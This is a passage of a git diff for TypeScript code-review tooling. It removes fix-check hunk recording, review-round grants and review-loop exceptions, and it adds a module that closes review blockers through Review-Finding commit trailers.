-export function hunksDigest(text: string): { sha256: string; paths: string[] } {
- const paths = new Set<string>();
- for (const m of text.matchAll(/^diff --git a\/(.+?) b\/(.+)$/gm)) { paths.add(m[1]!); paths.add(m[2]!); }
- return { sha256: createHash('sha256').update(text).digest('hex'), paths: [...paths].sort() };
-}
-
-const hunksFile = (cwd: string) => {
- const r = spawnSync('git', ['rev-parse', '--git-path', 'gstack-fix-check-hunks'], { cwd, encoding: 'utf8', timeout: 60_000 });
- return r.status === 0 && r.stdout.trim() ? resolve(cwd, r.stdout.trim()) : '';
-};
-
-/**
- * The hunks a claimed fix-check reads, built by gstack (GST-3546): git diff <the claimed grant's head> HEAD, the exact bytes
- * bindFixCheckRow later compares, so a thread never hand-builds a partial or stale packet. Undefined when this checkout's run
- * record holds no open claim, or git cannot diff it (the caller's --hunks file stands then).
- */
-export function claimedFixCheckHunks(cwd: string): { base: string; text: string } | undefined {
- const read = readRunRecord(cwd);
- const base = read.kind === 'record' && read.record.state === 'open' ? read.record.claim?.stop_head : undefined;
- if (!base) return undefined;
- const r = spawnSync('git', ['diff', base, 'HEAD'], { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 256 * 1024 * 1024 });
- return r.status === 0 && r.stdout.trim() ? { base, text: r.stdout } : undefined;
-}
-
-/** The ledger ids, path:line:category fingerprints and a-… approval ids a fix list names: the only grant ids its clean fix-check can close. */
-export function fixListNames(text: string): string[] {
- return [...new Set(text.split(/[\s`'"(),;]+/).map(t => t.replace(/[.:]+$/, '')).filter(t => t.includes('#') || /:\d+:/.test(t) || /^a-[0-9a-f]{12}$/.test(t)))].sort();
-}
-
-/** gstack-review-plan --fix-check-prompt and the pass program's fix-check render record the hunks and fix list they rendered from; a failed write only leaves the row without hunks, so it closes nothing. */
-export function recordFixCheckHunks(cwd: string, text: string, ledger: string | undefined, fixList: string): void {
- try {
- const file = hunksFile(cwd);
- if (file) writeFileSync(file, JSON.stringify({ at: new Date().toISOString(), ...hunksDigest(text), fix_list: fixListNames(fixList), ...(ledger ? { ledger: resolve(ledger) } : {}) }) + '\n');
- } catch { /* the row carries no hunks and closes nothing */ }
-}
-
-/** The pass program renders a fix-check brief before it takes the review-fix-check start (GST-3523): re-date that render's record, only while its digest still matches the hunks the brief carried, so the start's row attaches it. */
-export function restampFixCheckHunks(cwd: string, text: string): boolean {
- try {
- const file = hunksFile(cwd);
- const o = JSON.parse(readFileSync(file, 'utf8'));
- if (o.sha256 !== hunksDigest(text).sha256) return false;
- writeFileSync(file, JSON.stringify({ ...o, at: new Date().toISOString() }) + '\n');
- return true;
- } catch { return false; }
-}
-
-/** The hunks record gstack-review-log stamps on a granted fix-check row: the newest render at or after the row's start. */
-export function readFixCheckHunks(cwd: string, since: string): { sha256: string; paths: string[]; fix_list: string[]; ledger?: string } | undefined {
- try {
- const o = JSON.parse(readFileSync(hunksFile(cwd), 'utf8'));
- return Date.parse(o.at) >= Date.parse(since) && typeof o.sha256 === 'string' && Array.isArray(o.paths) ? { sha256: o.sha256, paths: o.paths, fix_list: Array.isArray(o.fix_list) ? o.fix_list : [], ...(typeof o.ledger === 'string' ? { ledger: o.ledger } : {}) } : undefined;
- } catch { return undefined; }
-}
diff --git a/lib/review-pass.ts b/lib/review-pass.ts
index 5fa047eea..dc379459d 100644
--- a/lib/review-pass.ts
+++ b/lib/review-pass.ts
@@ -19,7 +19,6 @@ import { newestModel } from './model-families';
import { BriefError, briefFile, checkoutRoot, checkoutTree, promptHash, renderBrief, sliceDiff, sliceNote, withWorkspace, type BriefRole, type SectionTexts, type Slots } from './review-brief';
import { REVIEW_DIFF_MAX_BYTES, disclosureDigest } from './review-exclude';
import { appendEvent, readerKey } from './review-ledger';
-import { claimedFixCheckHunks, recordFixCheckHunks } from './review-evidence';
import { policySelection, selectFor } from './review-selection';
import { SPECIALISTS, diffCommand, type Dispatch } from './review-depth';
import { TARGETED_RULES, parseClassList, targetedBriefSha, targetedRead } from './review-targeted';
@@ -252,8 +251,7 @@ export function renderStage(m: Manifest, stage: Stage, t: SectionTexts, diffFor:
if (role === 'fix-check') {
const read = (f: string | undefined, what: string) => { if (!f) return undefined; try { return fs.readFileSync(f, 'utf8'); } catch { throw new BriefError(`cannot read the fix-check ${what} ${f}`); } };
const fc = m.fix_check!;
- Object.assign(slots, { fix_list: read(fc.fix_list, 'fix list'), hunks: claimedFixCheckHunks(process.cwd())?.text ?? read(fc.hunks, 'hunks'), tests: read(fc.tests, 'tests'), callers: read(fc.callers, 'callers') });
- recordFixCheckHunks(process.cwd(), slots.hunks ?? '', m.ledger, slots.fix_list ?? '');
+ Object.assign(slots, { fix_list: read(fc.fix_list, 'fix list'), hunks: read(fc.hunks, 'hunks'), tests: read(fc.tests, 'tests'), callers: read(fc.callers, 'callers') });
}
let targeted = {};
if (role === 'targeted' || (role === 'adversarial-native' && r.classes?.length)) {
diff --git a/lib/review-round-grant.ts b/lib/review-round-grant.ts
deleted file mode 100644
index 4f8060d78..000000000
--- a/lib/review-round-grant.ts
+++ /dev/null
@@ -1,158 +0,0 @@
-/**
- * Review round grants (GST-2673, docs/review-policy.md#rounds-per-pull-request): a reason the lane or its Captain
- * records when a PR needs a review round its R51 count would not plan. kind=extra-round: one round, with its fix
- * round, past the PR's cap of two, at a head no review has stopped at. kind=fix-check (GST-2968): the fix round of a
- * review that already stopped, naming that stop (its run and head, lib/pr-review-history.ts stopRecord) and the
- * findings it is for. Each binds one head of one PR and is spent by the run that claims it. It is recorded with
- * gstack-approvals round-grant, is never an owner ask and never a plan approval (lib/plan-record.ts NOT_PLAN_ROW).
- * --by is recorded, not enforced.
- */
-import { spawnSync } from './spawn-sync';
-import { locate, readRecord, type ApprovalRow, type Env } from './approval-record';
-import { isGstackActorName, publicRuledNote, type RuledNote } from './ruled-notes';
-import { isSecurityFinding, opaqueFindingId, REDACTED_FINDING, REDACTED_REASON } from './security-findings';
-
-export const ROUND_GRANT_KINDS = ['extra-round', 'fix-check'] as const;
-export type RoundGrantKind = (typeof ROUND_GRANT_KINDS)[number];
-/** stop_run and findings: a fix-check grant's stop (the run that stopped at head) and the finding ids it is for. */
-/**
- * One grant kind (GST-3546): a fix-check grant names its head (a stop record's head, or the reviewed head a post-review edit
- * follows, with no stop) and buys one scoped fix-check from it. An owner's `review_loop_grant <head>` approval row reads as the
- * same grant (legacy, pr 0: it names no PR, so it binds to whichever PR claims it), so the planner, claim and write accept
- * either row.
- */
-export interface ReviewRoundGrant { kind: RoundGrantKind; head: string; pr: number; by: string; reason: string; at: string; approval: string; stop_run?: string; findings?: string[]; legacy?: true }
-
-export const STOP_RUN = /^[\w.:-]{1,120}$/;
-export const FINDING_ID = /^[\w.:/#@-]{1,200}$/;
-const SCOPE = /^review_round_grant ([0-9a-f]{40}) pr=([1-9]\d*) kind=(extra-round|fix-check)(?: stop=(\S+) findings=(\S+))?$/;
-export const LEGACY_GRANT = /\breview_loop_grant\s+([0-9a-f]{7,40})\b/;
-/** Scopes recorded by their own commands, whose text may mention a grant without being one. */
-export const OTHER_GRANT_ROW = /^\s*(ruled_note|gate_disposition|review_loop_exception|test_lane_exception|review_round_grant)\b/;
-const ASK = /^review_round_grant (extra-round|fix-check) at ([0-9a-f]{40}) for pr ([1-9]\d*): (\S(?:.*\S)?)$/;
-export const REVIEW_ROUND_GRANT_SCOPE = /^\s*review_round_grant\b/;
-
-/** The ask's cap (lib/approval-record.ts CAPS.ask); a longer reason is cut with an ellipsis and its full words stay in --words. */
-export const ROUND_GRANT_ASK_MAX = 300;
-export function reviewRoundGrantRow(head: string, pr: number, kind: RoundGrantKind, reason: string, stop?: { run: string; findings: readonly string[] }) {
- const lead = `review_round_grant ${kind} at ${head} for pr ${pr}: `;
- const room = ROUND_GRANT_ASK_MAX - lead.length;
- const said = reason.length <= room ? reason : `${reason.slice(0, room - 1).trimEnd()}…`;
- return { scope: `review_round_grant ${head} pr=${pr} kind=${kind}${stop ? ` stop=${stop.run} findings=${stop.findings.join(',')}` : ''}`, ask: lead + said };
-}
-
-export function reviewRoundGrants(rows: readonly ApprovalRow[], resolve?: (sha: string) => string | undefined): ReviewRoundGrant[] {
- const out: ReviewRoundGrant[] = [];
- for (const r of rows) {
- if (r.outcome !== 'approved' || isGstackActorName(r.by)) continue;
- const s = SCOPE.exec(r.scope), a = ASK.exec(r.ask);
- if (!s && !OTHER_GRANT_ROW.test(r.scope)) {
- const l = LEGACY_GRANT.exec(`${r.ask} ${r.scope}`);
- const head = l ? (l[1]!.length === 40 ? l[1]! : resolve?.(l[1]!)) : undefined;
- if (head) out.push({ kind: 'fix-check', head: head.toLowerCase(), pr: 0, by: r.by, reason: r.ask, at: r.recorded_at, approval: r.id, findings: [], legacy: true });
- continue;
- }
- if (!s || !a) continue;
- if (a[1] !== s[3] || a[2] !== s[1] || a[3] !== s[2]) continue;
- const findings = s[5]?.split(',');
- if ((s[3] !== 'fix-check' && s[4] !== undefined) || (s[4] !== undefined && (!STOP_RUN.test(s[4]) || !findings!.every(f => FINDING_ID.test(f))))) continue;
- out.push({ kind: s[3] as RoundGrantKind, head: s[1]!, pr: Number(s[2]), by: r.by, reason: a[4]!, at: r.recorded_at, approval: r.id, ...(s[4] ? { stop_run: s[4], findings } : s[3] === 'fix-check' ? { findings: [] } : {}) });
- }
- return out;
-}
-
-/**
- * A grant as the receipt in the PR body may carry it: a security-class finding it names leaves its fingerprint in the approval
- * record (lib/security-findings.ts). One the owner ruled not security class shows as that ruling's public text does, and any
- * other becomes an opaque id, so gstack-post never refuses the receipt over a grant's finding list (gbrain-evals#567). The grant's
- * reason is free text that can describe the finding, so it becomes REDACTED_REASON whenever a security finding stays hidden.
- */
-export function publicRoundGrant(g: ReviewRoundGrant, ruled: readonly RuledNote[]): ReviewRoundGrant {
- if (!g.findings?.some(f => isSecurityFinding(f))) return g;
- const shown = (f: string) => { const n = ruled.find(r => r.finding === f && r.not_security); return n ? publicRuledNote(n).finding : undefined; };
- const hidden = g.findings.some(f => isSecurityFinding(f) && (shown(f) ?? REDACTED_FINDING) === REDACTED_FINDING);
- return { ...g, findings: g.findings.map(f => !isSecurityFinding(f) ? f : shown(f) ?? opaqueFindingId(f, `round grant ${g.approval}`)), ...(hidden ? { reason: REDACTED_REASON } : {}) };
-}
-
-export function readReviewRoundGrants(cwd: string, env: Env = process.env): ReviewRoundGrant[] {
- const loc = locate({ cwd, env });
- if ('code' in loc) return [];
- return reviewRoundGrants(readRecord(loc).rows, sha => {
- const r = spawnSync('git', ['rev-parse', '--verify', '--quiet', `${sha}^{commit}`], { cwd, encoding: 'utf8', timeout: 10_000 });
- return r.status === 0 ? r.stdout.trim() : undefined;
- });
-}
-
-/** Whether a grant binds this PR: its own PR, or any PR for a legacy review_loop_grant row, which names none. */
-export const grantForPr = (g: Pick<ReviewRoundGrant, 'pr'>, pr: number | undefined) => !g.pr || g.pr === pr;
-
-/** The newest extra-round grant for this PR at exactly this head (a fix-check grant answers a stop instead: lib/pr-review-history.ts grantedStop). */
-export const grantAt = (grants: readonly ReviewRoundGrant[], pr: number, head: string) =>
- [...grants].reverse().find(g => g.kind === 'extra-round' && g.pr === pr && g.head === head.toLowerCase());
-
-/**
- * The newest extra-round grant for this PR at this head, or at a head this one only merges the base into or out of (GST-2968): one is
- * the other's ancestor and the PR's own added and removed lines against baseRef are byte-identical, in the same places, at both.
- * Preflight merges the base before the review, so the head a grant names and the head the next run reads can differ that way.
- */
-export function grantFor(repoRoot: string, grants: readonly ReviewRoundGrant[], pr: number, head: string, baseRef?: string): ReviewRoundGrant | undefined {
- const exact = grantAt(grants, pr, head);
- if (exact || !baseRef) return exact;
- return [...grants].reverse().find(g => g.kind === 'extra-round' && g.pr === pr && ownLinesSame(repoRoot, baseRef, g.head, head.toLowerCase()));
-}
-
-interface Hunk { path: string; start: number; len: number; added: number }
-
-/** A zero-context diff's hunks: the file (its old side, or its new side when created), the old-side start and length, and the added length. */
-function hunks(diff: string): Hunk[] {
- const out: Hunk[] = [];
- let minus = '', path = '';
- for (const l of diff.split('\n')) {
- if (l.startsWith('--- ')) minus = l.slice(4);
- else if (l.startsWith('+++ ')) path = minus === '/dev/null' ? l.slice(4) : minus;
- const m = /^@@ -(\d+)(?:,(\d+))? \+\d+(?:,(\d+))? @@/.exec(l);
- if (m) out.push({ path, start: +m[1]!, len: m[2] === undefined ? 1 : +m[2], added: m[3] === undefined ? 1 : +m[3] });
- }
- return out;
-}
-
-/**
- * The old-side line own hunk h starts at once the base's hunks have moved its file, or null when the base edited a line h changes or
- * inserted inside or right next to h, so its place can't be carried over. Spans are in half-line steps: 2n is line n, 2n+1 the gap after it.
- */
-function carried(base: readonly Hunk[], h: Hunk): number | null {
- const span = (x: Hunk, pad: number): [number, number] => x.len ? [2 * x.start - pad, 2 * (x.start + x.len - 1) + pad] : [2 * x.start + 1 - pad, 2 * x.start + 1 + pad];
- const [lo, hi] = span(h, 1);
- let shift = 0;
- for (const b of base.filter(x => x.path === h.path)) {
- const [blo, bhi] = span(b, 0);
- if (blo <= hi && lo <= bhi) return null;
- if (bhi < lo) shift += b.added - b.len;
- }
- return h.start + shift;
-}
-
-/**
- * Whether a and b are on one line of history and carry byte-identical own lines against baseRef at the same places: equal
- * zero-context patch-ids, and each own hunk of a, carried through the base's changes between the two forks, starts where b's does.
- * Moving a line to another place in the same file changes no patch-id, so the places are compared too.
- */
-export function ownLinesSame(repoRoot: string, baseRef: string, a: string, b: string): boolean {
- const git = (args: string[], input?: string) => spawnSync('git', ['-c', 'core.quotepath=off', ...args], { cwd: repoRoot, encoding: 'utf8', input, timeout: 120_000, maxBuffer: 256 * 1024 * 1024 });
- if (git(['merge-base', '--is-ancestor', a, b]).status !== 0 && git(['merge-base', '--is-ancestor', b, a]).status !== 0) return false;
- const fork = (c: string) => { const f = git(['merge-base', baseRef, c]); return f.status === 0 ? f.stdout.trim() : null; };
- const diff = (x: string, y: string) => { const d = git(['diff', '--no-color', '--no-ext-diff', '--no-textconv', '--no-renames', '--binary', '--full-index', '-U0', x, y]); return d.status === 0 ? d.stdout : null; };
- const id = (d: string) => { const p = git(['patch-id', '--verbatim'], d); return p.status === 0 ? p.stdout.trim().split(/\s+/)[0] || null : null; };
- const fa = fork(a), fb = fork(b);
- if (!fa || !fb) return false;
- const da = diff(fa, a), db = diff(fb, b), moved = fa === fb ? '' : diff(fa, fb);
- if (!da?.trim() || !db?.trim() || moved === null) return false;
- const x = id(da);
- if (x === null || x !== id(db)) return false;
- const base = hunks(moved), there = hunks(db), here = hunks(da);
- return here.length === there.length && here.every((h, i) => h.path === there[i]!.path && h.len === there[i]!.len && carried(base, h) === there[i]!.start);
-}
-
-/** The text after "Review round grant: " in the PR body. */
-export const reviewRoundGrantText = (g: ReviewRoundGrant) =>
- `${g.kind} at ${g.head.slice(0, 12)} for PR #${g.pr}${g.stop_run ? ` (stop ${g.stop_run}, findings ${g.findings!.join(', ')})` : g.kind === 'fix-check' ? ' (no stop: the reviewed head)' : ''} recorded by ${g.by} at ${g.at}: ${g.reason} (approval ${g.approval})`;
diff --git a/lib/review-targeted-delta.ts b/lib/review-targeted-delta.ts
index 684bdd041..3acd17de8 100644
--- a/lib/review-targeted-delta.ts
+++ b/lib/review-targeted-delta.ts
@@ -8,9 +8,7 @@
* asks this module when the loop is done and the head has targeted classes the passed --targeted-ran no longer covers.
* It dispatches one targeted reader on HEAD only when range_base is the commit that read happened on (its targeted
* patch-id is --targeted-ran), every path the PR's own change moved since, release stamps aside, is docs class and not
- * binary, and that change is not plain docs. With the owner's review_loop_grant for a stop head inside range_base..HEAD
- * (`granted`, checked by the plan before it gets here), a code change since the read takes the same one reader (GST-1607, harness-evals #271: the
- * granted fix round moved the product patch the record names). Anything else keeps `done` with the reason.
+ * binary, and that change is not plain docs. Anything else keeps `done` with the reason.
*/
import { spawnSync } from './spawn-sync';
import { comparePath, touchedPaths } from './ship-patch';
@@ -19,7 +17,7 @@ import { docsChangeSince } from './ship-receipt-depth';
export type TargetedDelta = { state: 'dispatch'; range_base: string; paths: string[] } | { state: 'skip'; reason: string; carried?: true };
/** Whether the change since `rangeBase` (where the targeted reader read the patch `ran`) earns the targeted-only read. */
-export function targetedDelta(root: string, base: string, rangeBase: string, ran: string, granted = false): TargetedDelta {
+export function targetedDelta(root: string, base: string, rangeBase: string, ran: string): TargetedDelta {
const git = (args: string[], input?: string) => {
const r = spawnSync('git', ['-c', 'core.quotePath=false', ...args], { cwd: root, input, encoding: 'utf8', timeout: 60_000, maxBuffer: 256 * 1024 * 1024 });
return r.status === 0 ? r.stdout : null;
@@ -43,7 +41,7 @@ export function targetedDelta(root: string, base: string, rangeBase: string, ran
if (!paths.length) return skip(`the branch patch is unchanged since range_base ${read.slice(0, 12)}`);
const change = docsChangeSince(root, read, head, base);
if (!change) return skip(`git could not build the PR's own change since range_base ${read.slice(0, 12)}`);
- if (change.verdict === 'code' && !granted) return skip(`the change since range_base ${read.slice(0, 12)} is not docs-only (${change.paths.join(', ')}), so it takes the review loop`);
+ if (change.verdict === 'code') return skip(`the change since range_base ${read.slice(0, 12)} is not docs-only (${change.paths.join(', ')}), so it takes the review loop`);
if (change.verdict === 'plain') return skip(`the change since range_base ${read.slice(0, 12)} is ${change.paths.length ? 'plain docs' : 'release stamps'}${change.paths.length && change.stamps.length ? ' and release stamps' : ''}, which the targeted record carries (GST-1195, GST-1689)`, true);
return { state: 'dispatch', range_base: read, paths: [...change.paths] };
}
diff --git a/lib/review-trailer-clearing.ts b/lib/review-trailer-clearing.ts
new file mode 100644
index 000000000..cf8a3f0e9
--- /dev/null
+++ b/lib/review-trailer-clearing.ts
@@ -0,0 +1,50 @@
+/**
+ * review-trailer-clearing: when an open blocker closes without an owner ruling (#4597, docs/review-policy.md#what-closes-a-finding).
+ * A fix commit carries the finding's Review-Finding trailer and a later complete full review of the branch read it clean;
+ * gstack-ship-receipt write closes exactly those blockers through clearByTrailer and records them as cleared_by_trailer. Every
+ * input is a record gstack's tools wrote (the review log and the branch's commits); the agent's --review-loop file only lists
+ * which blockers are open. The granted fix-check route that shared this module was removed in GST-3562 part 4.
+ */
+import { spawnSync } from './spawn-sync';
+import { parseFixTrailers, rowTime } from './review-scope';
+import { isSecurityFinding } from './security-findings';
+
+type Row = Record<string, any>;
+/** One entry of the loop summary's `open` list: a ledger id or fingerprint, or both. */
+export type OpenBlocker = string | { id: string; fingerprint: string };
+export interface TrailerClearing { id: string; commit: string; review: string }
+
+const SHA = /^[0-9a-f]{40}$/;
+const git = (cwd: string, args: string[]) => {
+ const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
+ return r.status === 0 ? r.stdout ?? '' : null;
+};
+const ancestor = (cwd: string, a: string, d: string) => a === d || git(cwd, ['merge-base', '--is-ancestor', a, d]) !== null;
+const treeOf = (cwd: string, c: string) => git(cwd, ['rev-parse', '--verify', '--quiet', `${c}^{tree}`])?.trim();
+const findingsOf = (r: Row): Row[] => (Array.isArray(r?.findings) ? r.findings.filter((f: unknown) => !!f && typeof f === 'object') : []);
+const nameOf = (b: OpenBlocker) => (typeof b === 'string' ? b : b.id);
+
+/**
+ * The #4597 route: an open blocker closes when a branch commit carries its Review-Finding trailer (its exact ledger id, or its
+ * fingerprint when no other open blocker shares it) and a later complete full review, bound to its own committed tree on this
+ * branch and holding that commit in its range, left nothing open (its status, findings_open from a findings file, an inline open
+ * finding). Gate findings never close this way.
+ */
+export function clearByTrailer(cwd: string, o: { head: string; baseRef: string; rows: readonly Row[]; open: readonly OpenBlocker[] }): TrailerClearing[] {
+ const log = git(cwd, ['log', '--no-merges', '--format=%H%x00%(trailers:key=Review-Finding,valueonly,separator=%x1f)%x1e', `${o.baseRef}..${o.head}`]);
+ const trailers = (log ?? '').split('\x1e').flatMap(rec => { const [sha, values] = rec.trim().split('\0'); return sha && values ? parseFixTrailers(sha, values.split('\x1f').map(v => v.trim()).filter(Boolean)) : []; });
+ return o.open.flatMap(b => {
+ const id = nameOf(b), fp = typeof b === 'string' ? b : b.fingerprint;
+ const raised = o.rows.flatMap(r => findingsOf(r).filter(f => f.action === 'open' && (f.ledger_id === id || (f.ledger_id === undefined && f.fingerprint === fp))).map(f => ({ r, f })));
+ const alone = o.open.filter(c => (typeof c === 'string' ? c : c.fingerprint) === fp).length === 1;
+ const t = trailers.find(x => x.finding === id || (alone && x.finding === fp));
+ if (!t || !raised.length || raised.some(x => x.f.gate !== undefined) || isSecurityFinding(t.finding)) return [];
+ const after = Math.max(...raised.map(x => rowTime(x.r)));
+ const inRange = (from: unknown, fix: string) => from == null || (typeof from === 'string' && (b => !!b && !ancestor(cwd, fix, b))(git(cwd, ['rev-parse', '--verify', '--quiet', `${from}^{commit}`])?.trim()));
+ const review = o.rows.find(r => r?.skill === 'review' && r.via === 'ship' && r.completed === true && r.scope !== 'fix-range' && r.scope !== 'scoped' && rowTime(r) > after
+ && r.converged === true && r.review_binding?.state === 'verified' && inRange(r.range_base, t.commit) && typeof r.tree === 'string' && r.review_binding.start_wtree === r.tree && r.review_binding.end_wtree === r.tree
+ && SHA.test(String(r.commit_full)) && treeOf(cwd, r.commit_full) === r.tree && ancestor(cwd, t.commit, r.commit_full) && ancestor(cwd, r.commit_full, o.head)
+ && r.status !== 'issues_found' && r.status !== 'issues_open' && Number(r.findings_open ?? 0) === 0 && !findingsOf(r).some(f => f.action === 'open'));
+ return review ? [{ id, commit: t.commit, review: review.commit_full as string }] : [];
+ });
+}
diff --git a/lib/ship-queue.ts b/lib/ship-queue.ts
index e245e3241..5bdab70ec 100644
--- a/lib/ship-queue.ts
+++ b/lib/ship-queue.ts
@@ -32,7 +32,7 @@ import { CHECKS, pregateMirrorPath, readPregateFile, verifyPregate, PREGATE_OUT_
import { exceptionConsumerProblem, flakyExceptionLines } from './pregate/flaky-exception';
import { ensureTmpExcluded, restamp, versionAtRef } from './restamp';
import type { ResultCodeName } from './result-codes';
-import { extractReceipt, readyTailLines, type ReadyTail } from './ship-receipt';
+import { extractReceipt, readyTailLines } from './ship-receipt';
import { bindShippedReceipt } from './ship-receipt-depth';
import { isUnavailable, loadPolicyFromBase, type LoadedPolicy } from './ship-policy';
import { finishPlanLine, readyPlan } from './plan-record';
@@ -340,18 +340,7 @@ export function trialMergeLines(ctx: QueueContext, pr: string, head: string, cha
});
}
-/** The newest row of a decision trail (gstack-decision-trail) whose phase is trail-read: its row number, the reader it names and its result, the reader's flags. */
-export function trailReadRow(file: string | undefined): ReadyTail['trailRead'] {
- if (!file) return { missing: 'ready got no --trail <decisions.tsv>' };
- let text: string;
- try { text = fs.readFileSync(file, 'utf8'); } catch (e: any) { return { missing: `cannot read --trail ${file} (${e?.code ?? 'unreadable'})` }; }
- const rows = text.split('\n').slice(1).filter(Boolean).map(l => l.split('\t'));
- for (let i = rows.length - 1; i >= 0; i--) if (rows[i]![1]?.trim().toLowerCase() === 'trail-read' && rows[i]![2]?.trim()) return { row: i + 1, reader: rows[i]![2]!.trim(), flags: rows[i]![5]?.trim() ?? '' };
- return { missing: `${file} has no trail-read row` };
-}
-
-/** READY: one block, identifiers first, about the exact pushed PR head. */
-export function ready(ctx: QueueContext, o: { pr: string; pregate?: string; gateExit?: number; gateLog?: string; trail?: string }): StepOutput {
+export function ready(ctx: QueueContext, o: { pr: string; pregate?: string; gateExit?: number; gateLog?: string }): StepOutput {
const run = PREGATE_OUT_REL;
const unfetched = refreshBase(ctx);
if (unfetched) return fail(unfetched, [], run);
@@ -426,7 +415,7 @@ export function ready(ctx: QueueContext, o: { pr: string; pregate?: string; gate
...(receipt.depthLine ? [receipt.depthLine] : []),
...(receipt.targetedLine ? [receipt.targetedLine] : []),
...(gates?.lines ?? []),
- ...readyTailLines(receipt.ok ? { ...receipt.receipt, gate_dispositions: undefined } : undefined, { trialMerges: trials, trailRead: trailReadRow(o.trail) }),
+ ...readyTailLines(receipt.ok ? { ...receipt.receipt, gate_dispositions: undefined } : undefined, { trialMerges: trials }),
];
const gate = policy.policy.full_e2e ? gateEvidence(ctx, o.pr, head, attempt, o.gateExit, o.gateLog) : null;
if (gate) lines.push(gate.line);
diff --git a/lib/ship-receipt-depth.ts b/lib/ship-receipt-depth.ts
index 764fe7470..9dbaceab7 100644
--- a/lib/ship-receipt-depth.ts
+++ b/lib/ship-receipt-depth.ts
@@ -8,8 +8,6 @@
* git objects, gstack-diff-scope on that range and the gate scan of the clean
* checkout at that head), with the runtime lines, the rules hash, the base and
* registry commits and the gate scan bound to the head.
- * `review_loop_exception`: the owner's acceptance of a stop after a
- * fix-check edit under frozen scope (#3559), shaped like the docs exception.
* The queue recomputes the depth the head needs from git objects
* (lib/review-collect.ts) and refuses a receipt below it.
* `review_targeted`: the targeted pass on money, gate, auth and secret code
@@ -42,7 +40,6 @@ import { READ_REASONS, docsAuditPacket, readDocsAuditRead, type DocsAuditRead }
import { carriedAudits, docsExceptionLine, parseReceiptDocs, sameRun, type CarriedAudit } from './ship-receipt-docs';
export type ReceiptDepth = NonNullable<ShipReceipt['review_depth']>;
-export type ReviewLoopException = NonNullable<ShipReceipt['review_loop_exception']>;
const RANK: Record<Depth | 'platform', number> = { platform: -1, light: 0, standard: 1, full: 2 };
const text = (v: unknown): v is string => typeof v === 'string' && v.trim().length > 0 && !/[\x00-\x1f\x7f]/.test(v);
const sha = (v: unknown): v is string => typeof v === 'string' && /^[0-9a-f]{40}$/.test(v);
@@ -158,78 +155,21 @@ export function taggedPaths(jsonl: string): Set<string> {
export const depthBelow = (have: Depth | 'platform', need: Depth | 'platform') => RANK[have] < RANK[need];
export const deeper = <D extends Depth | 'platform'>(a: D, b: D): D => (RANK[a] >= RANK[b] ? a : b);
-/**
- * `write --review-loop-exception` input and the queue's check: who accepted the stop, when, where, why, and the stop it accepts:
- * the fix-check it followed (`fix_check`), or the second full pass that left a finding open (`second_pass`, the deferred
- * finding ids; TRUT-7).
- */
-export function parseReviewLoopException(value: unknown): { ok: true; exception: ReviewLoopException } | { ok: false; message: string } {
- const bad = (message: string) => ({ ok: false as const, message });
- if (!value || typeof value !== 'object' || Array.isArray(value)) return bad('review_loop_exception must be { accepted_by, date, via, reason, fix_check: { head, findings[, files] } | second_pass: { head, deferred: [<finding id>] } }');
- const v = value as Record<string, unknown>;
- for (const key of Object.keys(v)) if (!['accepted_by', 'date', 'via', 'reason', 'fix_check', 'second_pass'].includes(key)) return bad(`review_loop_exception: unknown key ${JSON.stringify(key)}`);
- for (const key of ['accepted_by', 'date', 'via', 'reason']) if (!text(v[key])) return bad(`review_loop_exception.${key} must be a non-empty one-line string`);
- if (!/^\d{4}-\d{2}-\d{2}$/.test(v.date as string)) return bad('review_loop_exception.date must be YYYY-MM-DD');
- if ((v.fix_check === undefined) === (v.second_pass === undefined)) return bad('review_loop_exception names exactly one of fix_check or second_pass: the stop it accepts');
- const accepted = { accepted_by: (v.accepted_by as string).trim(), date: v.date as string, via: (v.via as string).trim(), reason: (v.reason as string).trim() };
- if (v.second_pass !== undefined) {
- const s = v.second_pass as Record<string, unknown> | null;
- if (!s || typeof s !== 'object' || Array.isArray(s)) return bad('review_loop_exception.second_pass must be { head, deferred: [<finding id>] }');
- for (const key of Object.keys(s)) if (!['head', 'deferred'].includes(key)) return bad(`review_loop_exception.second_pass: unknown key ${JSON.stringify(key)}`);
- if (!sha(s.head)) return bad('review_loop_exception.second_pass.head must be the full commit the second full pass reviewed');
- if (!Array.isArray(s.deferred) || !s.deferred.length || !s.deferred.every(text)) return bad('review_loop_exception.second_pass.deferred must name the open finding the owner accepted by id');
- return { ok: true, exception: { ...accepted, second_pass: { head: s.head, deferred: (s.deferred as string[]).slice(0, 20).map(d => d.trim()) } } };
- }
- const f = v.fix_check as Record<string, unknown> | null;
- if (!f || typeof f !== 'object' || Array.isArray(f)) return bad('review_loop_exception.fix_check must be { head, findings[, files] }');
- for (const key of Object.keys(f)) if (!['head', 'findings', 'files'].includes(key)) return bad(`review_loop_exception.fix_check: unknown key ${JSON.stringify(key)}`);
- if (!sha(f.head)) return bad('review_loop_exception.fix_check.head must be the full commit the fix-check reviewed');
- if (typeof f.findings !== 'number' || !Number.isInteger(f.findings) || f.findings < 0) return bad('review_loop_exception.fix_check.findings must be an integer >= 0 (what the fix-check reported)');
- if (f.files !== undefined && (!Array.isArray(f.files) || !f.files.every(text))) return bad('review_loop_exception.fix_check.files must be a list of paths');
- const files = (f.files as string[] | undefined)?.slice(0, 50);
- return { ok: true, exception: { ...accepted, fix_check: { head: f.head, findings: f.findings, ...(files?.length ? { files } : {}) } } };
-}
-
-/** The commit the accepted stop reviewed: the fix-check's head or the second full pass's. */
-export const exceptionHead = (e: ReviewLoopException) => (e.fix_check ?? e.second_pass)!.head;
-
-/** Whether the review loop shows the stop the exception accepts: a fix-check ran, or two full passes left a finding deferred. */
-export function exceptionLoopProblem(e: ReviewLoopException, loop: ShipReceipt['review_loop']): string | null {
- if (e.fix_check) return loop?.fix_checks ? null : 'needs --review-loop with fix_checks >= 1: the stop it accepts follows a fix-check';
- return (loop?.passes ?? 0) >= 2 && (loop?.deferred ?? 0) >= 1 ? null : 'second_pass needs --review-loop with passes >= 2 and deferred >= 1: the stop it accepts follows the second full pass with a finding left open';
-}
-
-/** The line the PR body must carry, word for word, while the exception stands. */
-export function reviewLoopExceptionLine(e: ReviewLoopException): string {
- const stop = e.fix_check ? `fix-check at ${e.fix_check.head.slice(0, 12)}, ${e.fix_check.findings} finding${e.fix_check.findings === 1 ? '' : 's'}` : `second full pass at ${e.second_pass!.head.slice(0, 12)}, deferred ${e.second_pass!.deferred.join(', ')}`;
